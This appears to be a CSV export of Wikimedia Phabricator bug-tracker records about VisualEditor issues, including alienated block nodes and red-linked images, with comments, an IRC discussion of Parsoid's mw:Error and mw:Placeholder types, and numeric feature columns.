238136,VisualEditor: Clean up 'cache': 'false',Done in Roan's clean-up of API usage.,,,1393640938,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qx22rnw4roeugdfib5hc,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,1.0,Done in Roan's clean-up of API usage.
52791,"VisualEditor: For alienated block nodes in inline positions, alienation area is a single line, not the whole block","Take for example this: 
https://en.wikipedia.org/wiki/AMS-LaTeX?veaction=edit

The green alienation is only covering one line of the Math block after the sentence: ""causes the equals signs in the two lines to be aligned with one another, like this:""

{F11183}

**See Also**: {T66625}",Medium,50.0,1373006760,1642379773.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-x7y27baxwalxutuxi24u,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,12.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.3389830508474576,0.7288135593220338,"Take for example this: 
URL

The green alienation is only covering one line of the Math block after the sentence: ""causes the equals signs in the two lines to be aligned with one another, like this:""

{F11183}

**See Also**: {T66625}"
1845917,"VisualEditor: For alienated block nodes in inline positions, alienation area is a single line, not the whole block","This doesn't seem to be a problem any more, even if I make the visual editor forget what math nodes are:
```lang=js
ve.dm.converter.modelRegistry.unregister(ve.dm.MWMathNode);
ve.dm.converter.modelRegistry.unregister(ve.dm.MWAlienBlockExtensionNode);
ve.dm.converter.modelRegistry.unregister(ve.dm.MWAlienInlineExtensionNode);
```
{F34920206}

This might have been fixed by the same patch as T66625, years ago.",,,1642379774,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-x7y27baxwalxutuxi24u,task_subcomment,,True,c1,3,True,,,446,,2.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,6.0,12.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,8.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.22,0.86,"This doesn't seem to be a problem any more, even if I make the visual editor forget what math nodes are:
``CODE``
{F34920206}

This might have been fixed by the same patch as T66625, years ago."
52788,VisualEditor: We need a representation of red-linked images,"Quote: ""I was editing this revision https://en.wikipedia.org/w/index.php?title=Chubby_bunny&oldid=562098358 of [[Chubby bunny]] to try to remove a thumbnail of a deleted image, the following wikitext:
[[Image:Sara_Jay_Chubby_Bunny_Challenge.png|thumbnail|Sara Jay playing Chubby Bunny]]

The red image link and/or its caption shown in the normal article view do not appear in the Visual Editor view and as far as I tell removing it in that view is impossible.""

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1373006100,1431796201.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,8.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,4.122448979591836,0.6530612244897959,"Quote: ""I was editing this revision URL of [[Chubby bunny]] to try to remove a thumbnail of a deleted image, the following wikitext:
[[Image:Sara_Jay_Chubby_Bunny_Challenge.png|thumbnail|Sara Jay playing Chubby Bunny]]

The red image link and/or its caption shown in the normal article view do not appear in the Visual Editor view and as far as I tell removing it in that view is impossible.""

--------------------------
**Version**: unspecified
**Severity**: minor"
459833,VisualEditor: We need a representation of red-linked images,"Change 210625 merged by jenkins-bot:
Representation of red-linked images in VE

[[https://gerrit.wikimedia.org/r/210625]]",,,1431794211,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,False,,,97,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.6956521739130435,0.8695652173913043,"Change 210625 merged by jenkins-bot:
Representation of red-linked images in VE

[[GERRIT_URL]]"
459083,VisualEditor: We need a representation of red-linked images,"Change 210625 had a related patch set uploaded (by SuchetaG):
[WIP] Representation of red-linked images in VE

[[https://gerrit.wikimedia.org/r/210625]]
",,,1431655294,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,False,,,97,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.5806451612903225,0.8387096774193549,"Change 210625 had a related patch set uploaded (by SuchetaG):
[WIP] Representation of red-linked images in VE

[[GERRIT_URL]]
"
444194,VisualEditor: We need a representation of red-linked images,"The current handling of red-linked images in wmf1.25/1.26

-  the non-existing images can be inserted only in 'Edit source'
-  in Read they are represented as {F113350}
-  switching to VE {F113352}

- hovering over the image gives: 'Sorry, this element can only be edited in source mode for now.'
- the image can be deleted in VE ",,,1429126077,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,2.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,12.0,6.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.419753086419753,0.6172839506172839,"The current handling of red-linked images in wmf1.25/1.26

-  the non-existing images can be inserted only in 'Edit source'
-  in Read they are represented as {F113350}
-  switching to VE {F113352}

- hovering over the image gives: 'Sorry, this element can only be edited in source mode for now.'
- the image can be deleted in VE "
444172,VisualEditor: We need a representation of red-linked images,">>! In T52788#1210051, @cscott wrote:
> We are emitting the mw:Error markup in Parsoid, I believe, and that hasn't changed.  What @mooeypoo reports is a regression in VE?

Probably.",,,1429123960,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8333333333333334,"QUOTE
QUOTE

Probably."
444159,VisualEditor: We need a representation of red-linked images,"We are emitting the mw:Error markup in Parsoid, I believe, and that hasn't changed.  What @mooeypoo reports is a regression in VE?",,,1429122908,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8275862068965516,0.9310344827586207,"We are emitting the mw:Error markup in Parsoid, I believe, and that hasn't changed.  WhatSCREEN_NAME reports is a regression in VE?"
420373,VisualEditor: We need a representation of red-linked images,"This is no longer the case. Red link images (or images that aren't loading, in the case of bad internet, etc) are disappearing from CE completely.",,,1425420366,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,3.0,3.6666666666666665,0.8181818181818182,"This is no longer the case. Red link images (or images that aren't loading, in the case of bad internet, etc) are disappearing from CE completely."
401915,VisualEditor: We need a representation of red-linked images,Marking as Resolved.,,,1421801167,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,81,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.5,1.0,Marking as Resolved.
401910,VisualEditor: We need a representation of red-linked images,"This task is open but has two ""verified-in-phaseX"" projects associated. Could someone clarify?",,,1421800777,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,81,,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.9047619047619048,"This task is open but has two ""verified-in-phaseX"" projects associated. Could someone clarify?"
392323,VisualEditor: We need a representation of red-linked images,"Visual editor displays a placeholder for non-existent images, so red-linked images can be deleted from VE.
Checked in production/betalabs/test2.",,,1419299453,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,77,,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.096774193548387,0.8709677419354839,"Visual editor displays a placeholder for non-existent images, so red-linked images can be deleted from VE.
Checked in production/betalabs/test2."
235088,VisualEditor: We need a representation of red-linked images,"[15:09] <gwicke> RoanKattouw, re https://bugzilla.wikimedia.org/show_bug.cgi?id=50788: the idea is to have a generic way to represent errored content
[15:09] <gwicke> while still matching CSS etc so that it renders as expected
[15:09] <RoanKattouw> Right
[15:09] <RoanKattouw> I guess I could hack tolerance for that into VE's type system
[15:10] <RoanKattouw> I think it's kind of an abuse of a type but I see why you'd do it
[15:10] <RoanKattouw> You want to have a single unified thing to easily identify error nodes
[15:11] <gwicke> yeah; there is a chance that querySelectorAll also supports typeof
[15:12] <gwicke> [typeof~=mw:Error]
[15:12] <RoanKattouw> Exactl
[15:12] <RoanKattouw> y
[15:12] <gwicke> which is more efficient than [data-mw] and then decoding each & look for errors
[15:14] <gwicke> RoanKattouw, I think you are already giving mw:Placeholder a high precedence
[15:14] <gwicke> could mw:Error have a similarly high precedence?
[15:15] <RoanKattouw> gwicke: No, mw:Placeholder is unrecognized
[15:15] <RoanKattouw> Any unrecognized type matching /^mw:/ triggers immediate alienation
[15:15] <RoanKattouw> For mw:Error we'd need the reverse
[15:15] <gwicke> yeah, but aren't you handling typeof=""mw:Placeholder mw:Image"" already?
[15:15] <RoanKattouw> Which is ignore mw:Error as a type completely, otherwise either everything with mw:Error would be alienated, or everything would have to specify mw:Error
[15:16] <gwicke> (by letting the placeholder win)
[15:16] <RoanKattouw> No, the placeholder doesn't win
[15:16] <gwicke> ah, I see
[15:16] <RoanKattouw> The rules for ""special"" type prefixes (for ve-mw, that's only /^mw:/ ) are as follows:
[15:16] <gwicke> that's a problem
[15:16] <RoanKattouw> A class matches if:
[15:16] <RoanKattouw> * It specifies some type that's present on the element
[15:17] <RoanKattouw> * It specifies ALL mw: types that are present on the element
[15:17] <RoanKattouw> (i.e. both of those have to be true)
[15:17] <RoanKattouw> Additionally, we don't currently have a facility for saying ""I recognize either mw:Foo or mw:Foo+mw:Error""
[15:17] <RoanKattouw> You can only do AND, not OR
[15:17] <gwicke> RoanKattouw: I see, that makes mw:Error harder to handle for you
[15:18] <RoanKattouw> I mean, I can do it
[15:18] <RoanKattouw> By introducing the concept of ignored types or whatever I want to call it
[15:18] <RoanKattouw> I could even make mw:Placeholder one
[15:18] <RoanKattouw> Then placeholderized images could be handled
[15:18] <RoanKattouw> Handlers for node types still have the option to trigger alienation by returning null
[15:18] <gwicke> we already have mw:Image and mw:ExpandedAttrs
[15:19] <gwicke> and all permutations of images of course
[15:19] <RoanKattouw> So if mw:Image+mw:Placeholder meant ""alienate except in certain cases"", then we could send it to the image handler and do if ( conditions ) { return null; // Alienate
[15:19] <RoanKattouw> Right, mw:ExpandedAttrs is another good candidate for an ignored typer
[15:19] <RoanKattouw> It can apply to anything
[15:19] <RoanKattouw> And sometimes we need to alienate and sometimes we don't
[15:19] <RoanKattouw> Hmm, maybe the jargon should be ""universal type""
[15:19] <gwicke> yup, so the general ability to match that kind of thing is needed in any case
[15:20] <RoanKattouw> Yeah
[15:20] <RoanKattouw> I will file a bug about this",,,1393456951,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,34,,0.6666666666666666,0.3333333333333333,0.1111111111111111,0.4444444444444444,0.5555555555555556,2.111111111111111,0.6666666666666666,0.0,0.0,0.3333333333333333,0.8888888888888888,0.6666666666666666,0.0,0.2222222222222222,0.1111111111111111,2.111111111111111,0.1111111111111111,3.7777777777777777,6.111111111111111,0.3333333333333333,1.2222222222222223,0.1111111111111111,0.2222222222222222,0.0,0.2222222222222222,0.0,0.0,0.0,0.8888888888888888,0.5555555555555556,0.0,4.555555555555555,1.1111111111111112,1.0,0.1111111111111111,0.6666666666666666,0.0,0.0,0.5555555555555556,0.1111111111111111,0.0,0.0,0.0,1.0,0.0,0.2222222222222222,0.1111111111111111,0.2222222222222222,0.0,8.88888888888889,0.4444444444444444,0.4444444444444444,0.1111111111111111,0.1111111111111111,0.2222222222222222,0.0,0.0,0.0,0.2222222222222222,0.0,0.6666666666666666,0.5555555555555556,0.1111111111111111,0.3333333333333333,0.0,0.2222222222222222,0.1111111111111111,2.7777777777777777,1.6666666666666667,10.777777777777779,1.0,1.7777777777777777,4.666666666666667,0.0,0.2222222222222222,0.0,0.0,3.111111111111111,0.5555555555555556,5.111111111111111,0.0,3.7777777777777777,6.111111111111111,6.666666666666667,0.2222222222222222,1.0,0.0,3.7777777777777777,0.0,0.7777777777777778,1.4444444444444444,0.0,0.8888888888888888,0.2222222222222222,0.0,18.22222222222222,3.494040983171418,0.5755693581780537,"[15:09] <gwicke> RoanKattouw, re URL the idea is to have a generic way to represent errored content
[15:09] <gwicke> while still matching CSS etc so that it renders as expected
[15:09] <RoanKattouw> Right
[15:09] <RoanKattouw> I guess I could hack tolerance for that into VE's type system
[15:10] <RoanKattouw> I think it's kind of an abuse of a type but I see why you'd do it
[15:10] <RoanKattouw> You want to have a single unified thing to easily identify error nodes
[15:11] <gwicke> yeah; there is a chance that querySelectorAll also supports typeof
[15:12] <gwicke> [typeof~=mw:Error]
[15:12] <RoanKattouw> Exactl
[15:12] <RoanKattouw> y
[15:12] <gwicke> which is more efficient than [data-mw] and then decoding each & look for errors
[15:14] <gwicke> RoanKattouw, I think you are already giving mw:Placeholder a high precedence
[15:14] <gwicke> could mw:Error have a similarly high precedence?
[15:15] <RoanKattouw> gwicke: No, mw:Placeholder is unrecognized
[15:15] <RoanKattouw> Any unrecognized type matching /^mw:/ triggers immediate alienation
[15:15] <RoanKattouw> For mw:Error we'd need the reverse
[15:15] <gwicke> yeah, but aren't you handling typeof=""mw:Placeholder mw:Image"" already?
[15:15] <RoanKattouw> Which is ignore mw:Error as a type completely, otherwise either everything with mw:Error would be alienated, or everything would have to specify mw:Error
[15:16] <gwicke> (by letting the placeholder win)
[15:16] <RoanKattouw> No, the placeholder doesn't win
[15:16] <gwicke> ah, I see
[15:16] <RoanKattouw> The rules for ""special"" type prefixes (for ve-mw, that's only /^mw:/ ) are as follows:
[15:16] <gwicke> that's a problem
[15:16] <RoanKattouw> A class matches if:
[15:16] <RoanKattouw> * It specifies some type that's present on the element
[15:17] <RoanKattouw> * It specifies ALL mw: types that are present on the element
[15:17] <RoanKattouw> (i.e. both of those have to be true)
[15:17] <RoanKattouw> Additionally, we don't currently have a facility for saying ""I recognize either mw:Foo or mw:Foo+mw:Error""
[15:17] <RoanKattouw> You can only do AND, not OR
[15:17] <gwicke> RoanKattouw: I see, that makes mw:Error harder to handle for you
[15:18] <RoanKattouw> I mean, I can do it
[15:18] <RoanKattouw> By introducing the concept of ignored types or whatever I want to call it
[15:18] <RoanKattouw> I could even make mw:Placeholder one
[15:18] <RoanKattouw> Then placeholderized images could be handled
[15:18] <RoanKattouw> Handlers for node types still have the option to trigger alienation by returning null
[15:18] <gwicke> we already have mw:Image and mw:ExpandedAttrs
[15:19] <gwicke> and all permutations of images of course
[15:19] <RoanKattouw> So if mw:Image+mw:Placeholder meant ""alienate except in certain cases"", then we could send it to the image handler and do if ( conditions ) { return null; // Alienate
[15:19] <RoanKattouw> Right, mw:ExpandedAttrs is another good candidate for an ignored typer
[15:19] <RoanKattouw> It can apply to anything
[15:19] <RoanKattouw> And sometimes we need to alienate and sometimes we don't
[15:19] <RoanKattouw> Hmm, maybe the jargon should be ""universal type""
[15:19] <gwicke> yup, so the general ability to match that kind of thing is needed in any case
[15:20] <RoanKattouw> Yeah
[15:20] <RoanKattouw> I will file a bug about this"
235082,VisualEditor: We need a representation of red-linked images,"(In reply to C. Scott Ananian from comment #5)
> There's a draft spec at
> https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Error_handling --
> would that work for VE?
It would be reasonable-ish. Having a separate mw:Error type would be quite inconvenient though, we'd have to add it to (almost) all of our node definitions. Would it be OK to drop the mw:Error type and just have the data-mw thing there?",,,1393455910,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,False,,,34,,1.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,7.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,7.0,9.0,5.0,1.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.3157894736842106,0.6973684210526315,"(In reply to C. Scott Ananian from comment #5)
QUOTE
QUOTE
QUOTE
It would be reasonable-ish. Having a separate mw:Error type would be quite inconvenient though, we'd have to add it to (almost) all of our node definitions. Would it be OK to drop the mw:Error type and just have the data-mw thing there?"
235078,VisualEditor: We need a representation of red-linked images,There's a draft spec at https://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Error_handling -- would that work for VE?,,,1393439521,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0714285714285716,1.0,There's a draft spec at URL -- would that work for VE?
235074,VisualEditor: We need a representation of red-linked images,*** Bug 52186 has been marked as a duplicate of this bug. ***,,,1389632313,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-rdmlp3onaqmsq2rdmrnq,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52186 has been marked as a duplicate of this bug. ***
235071,VisualEditor: We need a representation of red-linked images,"So currently redlink images are returned as <meta typeof=""mw:Placeholder"">. I see a couple of ways to solve this:

1. Parsoid gives us back normal image tags, and we make sure our handling of images can deal with 404 src's. This way when we support changing image src's these will be editable in a useful way.

2. We treat mw:Placeholder as real data, and come up with a rendering for it (maybe using parsewikitextfragment, like templates). We'd need to know what else converts to a mw:Placeholder as this may be undesirable in other situations.

